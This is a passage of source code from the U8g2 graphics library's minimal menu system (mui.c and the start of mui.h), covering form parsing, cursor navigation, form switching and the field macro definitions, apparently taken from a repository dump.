MUI_NOINLINE;\nstatic size_t mui_fds_get_cmd_size(mui_t *ui, fds_t *s)\n{\n  size_t l = mui_fds_get_cmd_size_without_text(s);\n  uint8_t c = mui_get_fds_char(s);\n ui->text[0] = '\\0' ;   /* always reset the text buffer */\n if ( mui_fds_is_text(c) )\n  {\n    l += mui_fds_parse_text(ui, s+l);\n  }\n  return l;\n}\n\n\n/*\n  mui_Init() will setup the menu system but will not activate or display anything.\n  Use mui_GotoForm() after this command, then use mui_Draw() to draw the menu on a display.\n*/\nvoid mui_Init(mui_t *ui, void *graphics_data, fds_t *fds, muif_t *muif_tlist, size_t muif_tcnt)\n{\n  memset(ui, 0, sizeof(mui_t));\n  ui->root_fds = fds;\n  //ui->current_form_fds = NULL;   // not required, because there was a memset before\n  ui->muif_tlist = muif_tlist;\n  ui->muif_tcnt = muif_tcnt;\n  ui->graphics_data = graphics_data;\n}\n\nint mui_find_uif(mui_t *ui, uint8_t id0, uint8_t id1)\n{\n  size_t i;\n  for( i = 0; i < ui->muif_tcnt; i++ )\n  {\n    /*\n      if ( ui->muif_tlist[i].id0 == id0 )\n        if ( ui->muif_tlist[i].id1 == id1 )\n          return i;\n    */\n      if ( muif_get_id0(ui->muif_tlist+i) == id0 )\n        if ( muif_get_id1(ui->muif_tlist+i) == id1 )\n          return i;\n  }\n  return -1;\n}\n\n\n/*\n  assumes a valid position in ui->fds and calculates all the other variables\n  some fields are always calculated like the ui->cmd and ui->len field\n  other member vars are calculated only if the return value is 1\n  will return 1 if the field id was found.\n  will return 0 if the field id was not found in uif or if ui->fds points to something else than a field\n*/\nstatic uint8_t mui_prepare_current_field(mui_t *ui) MUI_NOINLINE;\nstatic uint8_t mui_prepare_current_field(mui_t *ui)\n{\n  int muif_tidx;\n\n  ui->uif = NULL;\n  ui->dflags = 0;    \n  ui->id0 = 0;\n  ui->id1 = 0;\n  ui->arg = 0;\n\n  /* calculate the length of the command and copy the text argument */\n  /* this will also clear the text in cases where there is no text argument */\n  ui->len = mui_fds_get_cmd_size(ui, ui->fds); \n  //printf(\"mui_prepare_current_field len=%d\\n\", ui->len);\n\n  /* get the command and check whether end of form is reached */\n  ui->cmd = mui_get_fds_char(ui->fds);\n  //printf(\"mui_prepare_current_field cmd='%c' len=%d\\n\", ui->cmd, ui->len);\n  \n  /* Copy the cmd also to second id value. This is required for some commands, others will overwrite this below */\n  ui->id1 = ui->cmd;\n  \n  /* now make the command uppercase so that both, upper and lower case are considered */\n  ui->cmd &= 0xdf; /* consider upper and lower case */\n  \n  if ( ui->cmd == 'U' || ui->cmd == 0 )\n    return 0;\n\n  /* calculate the dynamic flags */\n  if ( ui->fds == ui->cursor_focus_fds )\n    ui->dflags |= MUIF_DFLAG_IS_CURSOR_FOCUS;\n  if ( ui->fds == ui->touch_focus_fds )\n    ui->dflags |= MUIF_DFLAG_IS_TOUCH_FOCUS;\n  \n\n  /* get the id0 and id1 values */\n  if  ( ui->cmd == 'F' || ui->cmd == 'B' || ui->cmd == 'T' || ui->cmd == 'A' )\n  {\n      ui->id0 = mui_get_fds_char(ui->fds+1);\n      ui->id1 = mui_get_fds_char(ui->fds+2);\n      ui->x = mui_get_fds_char(ui->fds+3);\n      ui->y = mui_get_fds_char(ui->fds+4);\n      if ( ui->cmd == 'A' || ui->cmd == 'T' )\n      {\n        ui->arg = mui_get_fds_char(ui->fds+5);\n      }\n  }\n  else if ( ui->cmd == 'D' || ui->cmd == 'Z' )\n  {\n      ui->id0 = mui_get_fds_char(ui->fds+1);\n      ui->id1 = mui_get_fds_char(ui->fds+2);\n  }\n  else if ( ui->cmd == 'S' )\n  {\n      ui->id0 = 'S';\n      ui->id1 = mui_get_fds_char(ui->fds+1);\n  }\n  else\n  {\n      ui->id0 = '.';\n      /* note that ui->id1 contains the original cmd value */\n      ui->x = mui_get_fds_char(ui->fds+1);\n      ui->y = mui_get_fds_char(ui->fds+2);\n      if ( ui->cmd == 'G' || ui->cmd == 'M' )  /* this is also true for 'g' or 'm' */\n      {\n        ui->arg = mui_get_fds_char(ui->fds+3);\n      }\n  }\n\n  //MUI_DEBUG(\"mui_prepare_current_field cmd='%c' len=%d arg=%d\\n\", ui->cmd, ui->len, ui->arg);\n\n  \n  /* find the field  */\n  muif_tidx = mui_find_uif(ui, ui->id0, ui->id1);\n  //printf(\"mui_prepare_current_field: muif_tidx=%d\\n\", muif_tidx);\n  if ( muif_tidx >= 0 )\n  {\n    ui->uif = ui->muif_tlist + muif_tidx;\n    return 1;\n  }\n  return 0;\n}\n\n/* \n  assumes that ui->fds has been assigned correctly \n  and that ui->target_fds and ui->tmp_fds had been cleared if required\n\n  Usually do not call this function directly, instead use mui_loop_over_form\n\n*/\n\nstatic void mui_inner_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) MUI_NOINLINE;\nstatic void mui_inner_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui))\n{\n  uint8_t cmd;\n\n  //MUI_DEBUG(\"mui_inner_loop_over_form start %p\\n\", task);\n  \n  ui->fds += mui_fds_get_cmd_size(ui, ui->fds);      // skip the first entry, it is U always\n  for(;;)\n  {    \n    //printf(\"fds=%p *fds='%c'\\n\", ui->fds, ui->fds[0]);\n    /* get the command and check whether end of form is reached */\n    cmd = mui_get_fds_char(ui->fds);\n    if ( cmd == 'U' || cmd == 0 )\n      break;\n    if ( mui_prepare_current_field(ui) )  /* side effect: calculate ui->len */\n      if ( task(ui) )         /* call the task, which was provided as argument to this function */\n      {\n        //MUI_DEBUG(\"mui_inner_loop_over_form break by task\\n\");\n        break;\n      }\n    ui->fds += ui->len;\n  }\n  \n  //MUI_DEBUG(\"mui_inner_loop_over_form end %p\\n\", task);\n}\n\nstatic void mui_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui)) MUI_NOINLINE;\nstatic void mui_loop_over_form(mui_t *ui, uint8_t (*task)(mui_t *ui))\n{\n  if ( mui_IsFormActive(ui) == 0 )\n    return;\n  \n  ui->fds = ui->current_form_fds;\n  ui->target_fds = NULL;\n  ui->tmp_fds = NULL;\n  \n  mui_inner_loop_over_form(ui, task);  \n}\n\n/*\n  n is the form number\n*/\nfds_t *mui_find_form(mui_t *ui, uint8_t n)\n{\n  fds_t *fds = ui->root_fds;\n  uint8_t cmd;\n  \n  for( ;; )\n  {\n    cmd = mui_get_fds_char(fds);\n    if ( cmd == 0 )\n      break;\n    if ( cmd == 'U'  )\n    {\n      if (   mui_get_fds_char(fds+1) == n )\n      {\n        return fds;\n      }\n      /* not found, just coninue */\n    }\n    \n    fds += mui_fds_get_cmd_size(ui, fds);\n  }\n  return NULL;\n}\n\n/* === task procedures (arguments for mui_loop_over_form) === */\n/* ui->fds contains the current field */\n\nuint8_t mui_task_draw(mui_t *ui)\n{\n  //printf(\"mui_task_draw fds=%p uif=%p text=%s\\n\", ui->fds, ui->uif, ui->text);\n  muif_get_cb(ui->uif)(ui, MUIF_MSG_DRAW);\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_form_start(mui_t *ui)\n{\n  muif_get_cb(ui->uif)(ui, MUIF_MSG_FORM_START);\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_form_end(mui_t *ui)\n{\n  muif_get_cb(ui->uif)(ui, MUIF_MSG_FORM_END);\n  return 0;     /* continue with the loop */\n}\n\nstatic uint8_t mui_uif_is_cursor_selectable(mui_t *ui) MUI_NOINLINE;\nstatic uint8_t mui_uif_is_cursor_selectable(mui_t *ui)\n{\n  if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  {\n    return 1;\n  }\n  return 0;\n}\n\nuint8_t mui_task_find_prev_cursor_uif(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    if ( ui->fds == ui->cursor_focus_fds )\n    {\n      ui->target_fds = ui->tmp_fds;\n      return 1;         /* stop looping */\n    }\n    ui->tmp_fds = ui->fds;\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_find_first_cursor_uif(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    // if ( ui->target_fds == NULL )\n    // {\n      ui->target_fds = ui->fds;\n      return 1;         /* stop looping */\n    // }\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_find_last_cursor_uif(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    //ui->cursor_focus_position++;\n    ui->target_fds = ui->fds;\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_find_next_cursor_uif(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    if ( ui->tmp_fds != NULL )\n    {\n      ui->target_fds = ui->fds;        \n      ui->tmp_fds = NULL;\n      return 1;         /* stop looping */\n    }\n    if ( ui->fds == ui->cursor_focus_fds )\n    {\n      ui->tmp_fds = ui->fds;\n    }\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_get_current_cursor_focus_position(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    if ( ui->fds == ui->cursor_focus_fds )\n      return 1;         /* stop looping */\n    ui->tmp8++;\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_read_nth_selectable_field(mui_t *ui)\n{\n  //if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_CURSOR_SELECTABLE )\n  if ( mui_uif_is_cursor_selectable(ui) )\n  {\n    if ( ui->tmp8 == 0 )\n      return 1;         /* stop looping */\n    ui->tmp8--;\n  }\n  return 0;     /* continue with the loop */\n}\n\nuint8_t mui_task_find_execute_on_select_field(mui_t *ui)\n{\n  if ( muif_get_cflags(ui->uif) & MUIF_CFLAG_IS_EXECUTE_ON_SELECT )\n  {\n      ui->target_fds = ui->fds;\n      return 1;         /* stop looping */\n  }\n  return 0;     /* continue with the loop */\n}\n\n\n/* === utility functions for the user API === */\n\nstatic uint8_t mui_send_cursor_msg(mui_t *ui, uint8_t msg) MUI_NOINLINE;\nstatic uint8_t mui_send_cursor_msg(mui_t *ui, uint8_t msg)\n{\n  if ( ui->cursor_focus_fds )\n  {\n    ui->fds = ui->cursor_focus_fds;\n    if ( mui_prepare_current_field(ui) )\n      return muif_get_cb(ui->uif)(ui, msg);\n  }\n  return 0; /* not called, msg not handled */\n}\n\n/* === user API === */\n\n/* \n  returns the field pos which has the current focus \n  If the first selectable field has the focus, then 0 will be returned\n  Unselectable fields (for example labels) are skipped by this count.\n  If no fields are selectable, then 0 is returned\n\n  The return value can be used as last argument for mui_EnterForm or mui_GotoForm\n\n  WARNING: This function will destroy current fds and field information.\n*/\nuint8_t mui_GetCurrentCursorFocusPosition(mui_t *ui)\n{\n  //fds_t *fds = ui->fds;\n  ui->tmp8 = 0;  \n  mui_loop_over_form(ui, mui_task_get_current_cursor_focus_position);\n  //ui->fds = fds;\n  return ui->tmp8;\n}\n\n\nvoid mui_Draw(mui_t *ui)\n{\n  mui_loop_over_form(ui, mui_task_draw);\n}\n\nvoid mui_next_field(mui_t *ui)\n{\n  mui_loop_over_form(ui, mui_task_find_next_cursor_uif);\n  // ui->cursor_focus_position++;\n  ui->cursor_focus_fds = ui->target_fds;      // NULL is ok  \n  if ( ui->target_fds == NULL )\n  {\n    mui_loop_over_form(ui, mui_task_find_first_cursor_uif);\n    ui->cursor_focus_fds = ui->target_fds;      // NULL is ok  \n    // ui->cursor_focus_position = 0;\n  }\n}\n\n\n/*\n  this function will overwrite the ui field related member variables\n  nth_token can be 0 if the fiel text is not a option list\n  the result is stored in ui->text\n  \n  token delimiter is '|' (pipe symbol)\n  \n  fds:  The start of a field (MUI_DATA)\n  nth_token: The position of the token, which should be returned\n*/\nuint8_t mui_GetSelectableFieldTextOption(mui_t *ui, fds_t *fds, uint8_t nth_token)\n{\n  fds_t *fds_backup = ui->fds;                                // backup the current fds, so that this function can be called inside a task loop \n  int len = ui->len;          // backup length of the current command, 26 sep 2021: probably this is not required any more\n  uint8_t is_found;\n  \n  ui->fds = fds;\n  // at this point ui->fds contains the field which contains the tokens  \n  // now get the opion string out of the text field. nth_token can be 0 if this is no opion string\n  is_found = mui_fds_get_nth_token(ui, nth_token);          // return value is ignored here\n  \n  ui->fds = fds_backup;                        // restore the previous fds position\n  ui->len = len;\n  // result is stored in ui->text\n  return is_found;\n}\n\nuint8_t mui_GetSelectableFieldOptionCnt(mui_t *ui, fds_t *fds)\n{\n  fds_t *fds_backup = ui->fds;                                // backup the current fds, so that this function can be called inside a task loop \n  int len = ui->len;          // backup length of the current command   26 sep 2021: probably this is not required any more\n  uint8_t cnt = 0;\n  \n  ui->fds = fds;\n  // at this point ui->fds contains the field which contains the tokens  \n  // now get the opion string out of the text field. nth_token can be 0 if this is no opion string\n  cnt = mui_fds_get_token_cnt(ui); \n  \n  ui->fds = fds_backup;                        // restore the previous fds position\n  ui->len = len;\n  // result is stored in ui->text\n  return cnt;\n}\n\n\n\n//static void mui_send_cursor_enter_msg(mui_t *ui) MUI_NOINLINE;\nstatic uint8_t mui_send_cursor_enter_msg(mui_t *ui)\n{\n  ui->is_mud = 0;\n  return mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_ENTER);\n}\n\n/* \n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n  mui_EnterForm is similar to mui_GotoForm and differes only in the second argument (which is the form id instead of the fds pointer)\n*/\nvoid mui_EnterForm(mui_t *ui, fds_t *fds, uint8_t initial_cursor_position)\n{\n  /* exit any previous form, will not do anything if there is no current form */\n  mui_LeaveForm(ui);\n  \n  /* clean focus fields */\n  ui->touch_focus_fds = NULL;\n  ui->cursor_focus_fds = NULL;\n  \n  /* reset all the scoll values */\n  ui->form_scroll_top = 0;\n  ui->form_scroll_visible = 0;\n  ui->form_scroll_total = 0;\n  \n  /* assign the form, which should be entered */\n  ui->current_form_fds = fds;\n  \n  /* inform all fields that we start a new form */\n  MUI_DEBUG(\"mui_EnterForm: form_start, initial_cursor_position=%d\\n\", initial_cursor_position);\n  mui_loop_over_form(ui, mui_task_form_start);\n  \n  /* assign initional cursor focus */\n  MUI_DEBUG(\"mui_EnterForm: find_first_cursor_uif\\n\");\n  mui_loop_over_form(ui, mui_task_find_first_cursor_uif);  \n  ui->cursor_focus_fds = ui->target_fds;      // NULL is ok  \n  MUI_DEBUG(\"mui_EnterForm: find_first_cursor_uif target_fds=%p\\n\", ui->target_fds);\n  \n  while( initial_cursor_position > 0 )\n  {\n    mui_NextField(ui);          // mui_next_field(ui) is not sufficient in case of scrolling\n    initial_cursor_position--;\n  }\n  \n  while( mui_send_cursor_enter_msg(ui) == 255 )\n  {\n    mui_NextField(ui);          // mui_next_field(ui) is not sufficient in case of scrolling\n  }\n}\n\n/* input: current_form_fds */\n/*\n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n*/\nvoid mui_LeaveForm(mui_t *ui)\n{\n  if ( mui_IsFormActive(ui) == 0 )\n    return;\n  \n  mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE);\n  ui->cursor_focus_fds = NULL;\n  \n  /* inform all fields that we leave the form */\n  MUI_DEBUG(\"mui_LeaveForm: form_end\\n\");\n  mui_loop_over_form(ui, mui_task_form_end);  \n  ui->current_form_fds = NULL;\n}\n\n/* 0: error, form not found */\n/*\n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n*/\nuint8_t mui_GotoForm(mui_t *ui, uint8_t form_id, uint8_t initial_cursor_position)\n{\n  fds_t *fds = mui_find_form(ui, form_id);\n  if ( fds == NULL )\n    return 0;\n  /* EnterForm will also leave any previous form */\n  mui_EnterForm(ui, fds, initial_cursor_position);\n  return 1;\n}\n\nvoid mui_SaveForm(mui_t *ui)\n{\n  if ( mui_IsFormActive(ui) == 0 )\n    return;\n  \n  ui->last_form_fds = ui->cursor_focus_fds;\n  ui->last_form_id = mui_get_fds_char(ui->current_form_fds+1);\n  ui->last_form_cursor_focus_position = mui_GetCurrentCursorFocusPosition(ui);\n}\n\n/*\n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n*/\nvoid mui_RestoreForm(mui_t *ui)\n{\n  mui_GotoForm(ui, ui->last_form_id, ui->last_form_cursor_focus_position);\n}\n\n/*\n  Save a cursor position for mui_GotoFormAutoCursorPosition command\n  Two such positions is stored.\n*/\nvoid mui_SaveCursorPosition(mui_t *ui, uint8_t cursor_position)\n{\n  uint8_t form_id = mui_get_fds_char(ui->current_form_fds+1);\n  MUI_DEBUG(\"mui_SaveCursorPosition form_id=%d cursor_position=%d\\n\", form_id, cursor_position);\n  \n  if ( form_id == ui->menu_form_id[0] )\n    ui->menu_form_last_added = 0;\n  else if ( form_id == ui->menu_form_id[1] )\n    ui->menu_form_last_added = 1;\n  else \n    ui->menu_form_last_added ^= 1;\n  ui->menu_form_id[ui->menu_form_last_added] = form_id;\n  ui->menu_form_cursor_focus_position[ui->menu_form_last_added] = cursor_position;\n  MUI_DEBUG(\"mui_SaveCursorPosition ui->menu_form_last_added=%d \\n\", ui->menu_form_last_added);\n}\n\n/*\n  Similar to mui_GotoForm, but will jump to previously stored cursor location (mui_SaveCursorPosition) or 0 if the cursor position was not saved.\n*/\nuint8_t mui_GotoFormAutoCursorPosition(mui_t *ui, uint8_t form_id)\n{\n  uint8_t cursor_position = 0;\n  if ( form_id == ui->menu_form_id[0] )\n    cursor_position = ui->menu_form_cursor_focus_position[0];\n  if ( form_id == ui->menu_form_id[1] )\n    cursor_position = ui->menu_form_cursor_focus_position[1];\n  MUI_DEBUG(\"mui_GotoFormAutoCursorPosition form_id=%d cursor_position=%d\\n\", form_id, cursor_position);\n  return mui_GotoForm(ui, form_id, cursor_position);\n}\n\n/*\n  return current form id or -1 if the menu system is inactive\n*/\nint mui_GetCurrentFormId(mui_t *ui)\n{\n  if ( mui_IsFormActive(ui) == 0 )\n    return -1;\n  return mui_get_fds_char(ui->current_form_fds+1);\n}\n\n/*\n  updates \"ui->cursor_focus_fds\"\n*/\n/*\n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n*/\nvoid mui_NextField(mui_t *ui)\n{\n  do \n  {\n    if ( mui_send_cursor_msg(ui, MUIF_MSG_EVENT_NEXT) )\n      return;\n    mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE);\n    mui_next_field(ui);\n  } while ( mui_send_cursor_enter_msg(ui) == 255 );\n}\n\n/*\n  updates \"ui->cursor_focus_fds\"\n*/\n/*\n  if called from a field function, then the current field variables are destroyed, so that call should be the last call in the field callback.\n*/\nvoid mui_PrevField(mui_t *ui)\n{\n  do\n  {\n    if ( mui_send_cursor_msg(ui, MUIF_MSG_EVENT_PREV) )\n      return;\n    mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE);\n \n    mui_loop_over_form(ui, mui_task_find_prev_cursor_uif);\n    ui->cursor_focus_fds = ui->target_fds;      // NULL is ok  \n    if ( ui->target_fds == NULL )\n    {\n      //ui->cursor_focus_position = 0;\n      mui_loop_over_form(ui, mui_task_find_last_cursor_uif);\n      ui->cursor_focus_fds = ui->target_fds;      // NULL is ok  \n    }\n  } while( mui_send_cursor_enter_msg(ui) == 255 );\n}\n\n\nvoid mui_SendSelect(mui_t *ui)\n{\n  mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT);  \n}\n\n/*\n  Same as mui_SendSelect(), but will try to find a field, which is marked as \"execute on select\" (MUIF_EXECUTE_ON_SELECT_BUTTON).\n  If such a field exists, then this field is executed, otherwise the current field will receive the select message.\n\n  MUIF_EXECUTE_ON_SELECT_BUTTON is set by muif macro MUIF_EXECUTE_ON_SELECT_BUTTON\n  \n  used by MUIInputVersatileRotaryEncoder.ino example\n*/\nvoid mui_SendSelectWithExecuteOnSelectFieldSearch(mui_t *ui)\n{\n  mui_loop_over_form(ui, mui_task_find_execute_on_select_field);  /* Is there a exec on select field? */\n  if ( ui->target_fds != NULL )       /* yes, found, ui->fds already points to the field */\n  {\n    fds_t *exec_on_select_field = ui->target_fds;\n    mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_LEAVE);\n    ui->cursor_focus_fds = exec_on_select_field;    /* more cursor on the \"exec on select\" field */\n    mui_send_cursor_enter_msg(ui);      \n    mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT);  \n  }\n  else\n  {\n    /* no \"exec on select\" field found, just send the select message to the field */\n    mui_send_cursor_msg(ui, MUIF_MSG_CURSOR_SELECT);  \n  }\n}\n\n\nvoid mui_SendValueIncrement(mui_t *ui)\n{\n  mui_send_cursor_msg(ui, MUIF_MSG_VALUE_INCREMENT);  \n}\n\nvoid mui_SendValueDecrement(mui_t *ui)\n{\n  mui_send_cursor_msg(ui, MUIF_MSG_VALUE_DECREMENT);  \n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/mui.h",
    "content": "/*\n\n  mui.h\n\n  Monochrome minimal user interface: Core library.\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  MUIF  (Monochrome User Interface Functions)\n    n:  A number 0 to 9 without any quotes, e.g.: 5\n    id: Exactly two characters or numbers in double quotes, e.g. \"G5\".\n    cb: A callback function with the following prototype: \"uint8_t muif_cb(mui_t *ui, uint8_t msg)\"\n      There are MANY predefined callback functions, see separate list\n    var: Address of a variable. \n    text: Normal text, but special characters might be required for some callback functions, for\n      example the text might contain a list of selectable elements separated with the '|' symbol.\n\n  MUIF_STYLE(n,cb)\n    Corresponding FDS command: MUI_STYLE(n)\n    Change the style of any other elements after MUI_STYLE(n), does not draw anything\n    \n  MUIF_RO(id,cb)\n    Corresponding FDS command: MUI_DATA(id, text) MUI_XY(id, x, y), MUI_XYT(id, x,y,text), MUI_XYA(id, x,y,a), MUI_XYAT(id, x,y,a,text)\n    Places a read only element on the form. \n    The correct FDS command depends on the callback function.\n    \n  MUIF_LABEL(cb)\n    Corresponding FDS command: MUI_LABEL(x,y,text)\n    Places a text at the specified position, similar to MUIF_RO\n    \n  MUIF_GOTO(cb)\n    Corresponding FDS command: MUI_GOTO(x,y,n,text)\n    Places a button at the specified position, similar to MUIF_BUTTON, but does not require an ID.\n    \n  MUIF_BUTTON(id,cb)\n    Corresponding FDS command: MUI_XY(id, x, y), MUI_XYT(id, x,y,text), MUI_XYA(id, x,y,a), MUI_XYAT(id, x,y,a,text)\n    Places a selectable element on the form. \n  \n  MUIF_VARIABLE(id,var,cb)\n    Corresponding FDS command: MUI_XY(id, x, y), MUI_XYA(id, x,y,a)\n    Places a user input element at the specified location.\n    The correct FDS command depends on the callback function.\n\n\n*/\n\n#ifndef MUI_H\n#define MUI_H\n\n#include <stddef.h>\n#include <stdint.h>\n#include <string.h>\n\n#if defined(__GNUC__) && defined(__AVR__)\n#include <avr/pgmspace.h>\n#endif \n\n\n/*==========================================*/\n/* C++ compatible */\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/*==========================================*/\n/* defines */\n\n#define MUI_CHECK_EOFDS\n\n\n/*==========================================*/\n/* GNUC AVR PROGMEM interface */\n\n#ifdef __GNUC__\n#  define MUI_NOINLINE __attribute__((noinline))\n#else\n#  define MUI_NOINLINE\n#endif\n\n\n#if defined(__GNUC__) && defined(__AVR__)\n#  define mui_pgm_read(adr) pgm_read_byte_near(adr)\n#  define mui_pgm_wread(adr) pgm_read_word_near(adr) \n#  define MUI_PROGMEM PROGMEM\n#endif\n\n\n#ifndef mui_pgm_read\n#  ifndef CHAR_BIT\n#  \tdefine mui_pgm_read(adr) (*(const uint8_t *)(adr)) \n#  else\n#\tif CHAR_BIT > 8 \n#  \t  define mui_pgm_read(adr) ((*(const uint8_t *)(adr)) & 0x0ff)\n#     else\n#  \t  define mui_pgm_read(adr) (*(const uint8_t *)(adr)) \n#     endif \n#  endif\n#endif\n\n#ifndef mui_pgm_wread\n#  \tdefine mui_pgm_wread(adr) (*(const uint16_t *)(adr)) \n#endif\n\n#ifndef MUI_PROGMEM\n#  define MUI_PROGMEM\n#endif\n\n\n/*=== forward declarations ===*/\ntypedef struct mui_struct mui_t;\ntypedef const struct muif_struct muif_t;\ntypedef uint8_t (*muif_cb)(mui_t *ui, uint8_t msg);\ntypedef const char fds_t MUI_PROGMEM;\n\n\n\n/*=== struct declarations === */\n\nstruct muif_struct\n{\n  uint8_t id0;\n  uint8_t id1;\n  uint8_t cflags;             // config flags e.g. MUIF_CFLAG_IS_CURSOR_SELECTABLE, if so, then it will not receive any cursor/touch msgs\n  uint8_t extra;\n  void *data;                           // might be a pointer to a variable\n  muif_cb cb;                        // callback\n} MUI_PROGMEM;\n\n/* assumes that pointers are 16 bit so encapsulate the wread i another ifdef __AVR__ */\n#if defined(__GNUC__) && defined(__AVR__)\n#  define muif_get_id0(muif) mui_pgm_read(&((muif)->id0))\n#  define muif_get_id1(muif) mui_pgm_read(&((muif)->id1))\n#  define muif_get_cflags(muif) mui_pgm_read(&((muif)->cflags))\n#  define muif_get_extra(muif) mui_pgm_read(&((muif)->extra))\n#  define muif_get_data(muif) ((void *)mui_pgm_wread(&((muif)->data)))\n#  define muif_get_cb(muif) ((muif_cb)mui_pgm_wread(&((muif)->cb)))\n#else\n#  define muif_get_id0(muif) ((muif)->id0)\n#  define muif_get_id1(muif) ((muif)->id1)\n#  define muif_get_cflags(muif) ((muif)->cflags)\n#  define muif_get_extra(muif) ((muif)->extra)\n#  define muif_get_data(muif) ((muif)->data)\n#  define muif_get_cb(muif) ((muif)->cb)\n#endif\n\n\n\n#define MUIF_MSG_NONE 0\n#define MUIF_MSG_DRAW 1\n#define MUIF_MSG_FORM_START 2\n#define MUIF_MSG_FORM_END 3\n/* MUIF_MSG_CURSOR_ENTER return values: 255=skip this field, <255, continue*/\n#define MUIF_MSG_CURSOR_ENTER 4\n#define MUIF_MSG_CURSOR_SELECT 5\n\n/* optional VALUE messages, ignored by the mui core, but can be used inside the field functions  */\n/* usually MUIF_MSG_VALUE_INCREMENT behaves like  MUIF_MSG_CURSOR_SELECT */\n#define MUIF_MSG_VALUE_INCREMENT 6\n#define MUIF_MSG_VALUE_DECREMENT 7\n\n\n#define MUIF_MSG_CURSOR_LEAVE 8\n#define MUIF_MSG_TOUCH_DOWN 9\n#define MUIF_MSG_TOUCH_UP 10\n/* MUIF_MSG_EVENT_NEXT return values: 0=not handled, 1=handled, do nothing */\n/* If MUIF_MSG_EVENT_NEXT/PREV are NOT handled by the field function, then this msg will change the field */\n#define MUIF_MSG_EVENT_NEXT 11\n/* MUIF_MSG_EVENT_PREV return values: 0=not handled, 1=handled, do nothing */\n#define MUIF_MSG_EVENT_PREV 12\n\n/* dynamic flags */\n#define MUIF_DFLAG_IS_CURSOR_FOCUS 0x01\n#define MUIF_DFLAG_IS_TOUCH_FOCUS 0x02\n  \n/* config flags */\n#define MUIF_CFLAG_IS_CURSOR_SELECTABLE 0x01\n#define MUIF_CFLAG_IS_TOUCH_SELECTABLE 0x02\n#define MUIF_CFLAG_IS_EXECUTE_ON_SELECT 0x04\n\n\n/* end user MUIF entries */\n#define MUIF(id,cflags,data,cb) { id[0], id[1], cflags, 0, data, cb} \n#define MUIF_STYLE(n,cb)  MUIF(\"S\" #n, 0, 0, cb) \n#define MUIF_RO(id,cb) MUIF(id,0, 0,cb)\n#define MUIF_LABEL(cb) MUIF(\".L\",0, 0,cb)\n#define MUIF_GOTO(cb) MUIF(\".G\",MUIF_CFLAG_IS_CURSOR_SELECTABLE,0,cb)\n#define MUIF_BUTTON(id,cb) MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE,0,cb)\n#define MUIF_EXECUTE_ON_SELECT_BUTTON(id,cb) 